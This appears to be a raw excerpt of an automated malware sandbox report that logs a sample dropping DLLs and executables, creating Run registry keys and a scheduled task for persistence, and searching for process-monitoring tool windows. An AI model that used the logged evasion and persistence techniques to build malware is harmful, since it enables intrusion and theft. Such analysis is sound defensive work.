Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIIEBKJECFC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File created: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File created: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File created: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIEBKJECFC.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 82b4c5cad2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run accd68d705.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c3e1e78f6d.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIEBKJECFC.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c3e1e78f6d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c3e1e78f6d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 82b4c5cad2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 82b4c5cad2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run accd68d705.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run accd68d705.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
